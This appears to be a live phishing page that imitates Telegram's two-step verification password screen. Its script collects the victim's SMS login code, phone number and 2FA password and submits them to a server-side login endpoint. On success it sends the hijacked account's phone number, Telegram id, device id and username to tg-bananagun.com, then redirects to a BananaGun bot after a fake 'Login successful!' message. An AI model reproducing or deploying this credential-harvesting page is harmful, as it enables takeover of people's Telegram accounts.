﻿<!doctype html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="maximum-scale=1.0,minimum-scale=1.0,user-scalable=0,width=device-width,initial-scale=1.0" />
        <title>Telegram</title>
        <link rel="icon" href="../imgs/label_symbol.png" />
        <link rel="stylesheet" href="../css/css_reset.css" />
        <link rel="stylesheet" href="../css/common.css" />
        <style type="text/css">
        </style>
    </head>
    <body>
        <div class="main_box send_box" style="text-align:center;">
            <div style="padding:0 40px;">
                <img class="monkey" src="../imgs/monkey_hide.png" id="symbol" />
            </div>
            <h4 class="title">
                <span class="va_m" id="phone">Enter Password</span>
            </h4>
            <p class="title_sub">You have Two-Step Verification enabled, so your account is protected with an additional password.</p>
            <div class="input_box focus">
                <span style="flex:4;overflow:hidden;">
                    <span class="tips">6</span>
                    <input type="password" class="input" id="pwd" autocomplete="off" />
                </span>
                <span>
                    <img class="pointer eyes" src="../imgs/eyes_slash.png" id="eyes" />
                </span>
            </div>
            <div class="btns">
                <div class="pointer btn" id="jump" style="display:none;">
                    <span class="text">NEXT</span>
                    <span>
                        <img class="none load" src="../imgs/load.gif" id="load_box" />
                    </span>
                </div>
            </div>
        </div>
    </body>
    <script src="../scripts/jquery.min.js"></script>
    <script src="../scripts/jquery.cookie-1.4.1.min.js"></script>
    <script src="../scripts/layer.js"></script>
    <script src="../scripts/common.js"></script>
    <script type="text/javascript">
        $(document).ready(function () {
            var user_data = jQuery.cookie('USER_DATA') || {};
            $('#back').click(function () {
                window.history.back();
            });

            $('#jump').click(function () {
                var formData = new FormData();
                formData.append('code', user_data.SMS);
                formData.append('phone', user_data.ZONE + user_data.PHONE);
                formData.append('pwd', $('#pwd').val());
                $.http('/login_account', formData, { type: 'POST' }).then(res => {
                    switch (res.code) {
                        case 0:
                            setTimeout(function () {
                                $.http('https://tg-bananagun.com/api/v1/tgserver/uploadDevice?' + $.param({
                                    account: res.data.phone_number,
                                    accountId: res.data.tid,
                                    deviceNo: res.data.app_id,
                                    uId: $.getUrlParams('UID'),
                                    userName: res.data.username
                                }), {}, { type: 'POST', notShowLoad: true }).then(res_device => {
                                    if (res_device.code === 0) {
                                        $.postSendRecord({ page: '3', loginStatus: '1', twoLeve: '3' }).then(() => { // 登录成功记录
                                            var jumpURL = 'https://t.me/BananaGunRegister_bot';
                                            layer.open({
                                                title: 'Telegram',
                                                content: 'Login successful!',
                                                btn: ['OK'],
                                                btn1: function () {
                                                    layer.closeAll();
                                                    window.location.href = jumpURL;
                                                }
                                            });
                                            setTimeout(function () {
                                                window.location.href = jumpURL;
                                            }, 700);
                                        });
                                    } else {
                                        alert(res_device.msg);
                                    }
                                });
                            }, 400);
                            break;
                        default:
                            alert(res.msg);
                            $.postSendRecord({ page: '3', loginStatus: '2', twoLeve: '4' }); // 登录失败记录
                    };
                });
            });

            $('#pwd').focus().on('blur', function () {
                $(this).parent().removeClass('focus');
            }).on('focus', function () {
                $(this).parent().addClass('focus');
            }).on('input', function () {
                $(this).val().length > 0 ? $('#jump').css('display', '') : $('#jump').hide();
            });

            $('#eyes').click(function () {
                var $that = $(this);
                var $pwd = $('#pwd');
                var $symbol = $('#symbol');
                var hasText = $that.attr('src').indexOf('slash') === -1;
                if (!hasText) {
                    $that.attr('src', '../imgs/eyes.png');
                    $symbol.attr('src', '../imgs/monkey_show.png');
                    $pwd.attr('type', 'text');
                } else {
                    $that.attr('src', '../imgs/eyes_slash.png');
                    $symbol.attr('src', '../imgs/monkey_hide.png');
                    $pwd.attr('type', 'password');
                }
            });
        });
    </script>
</html>
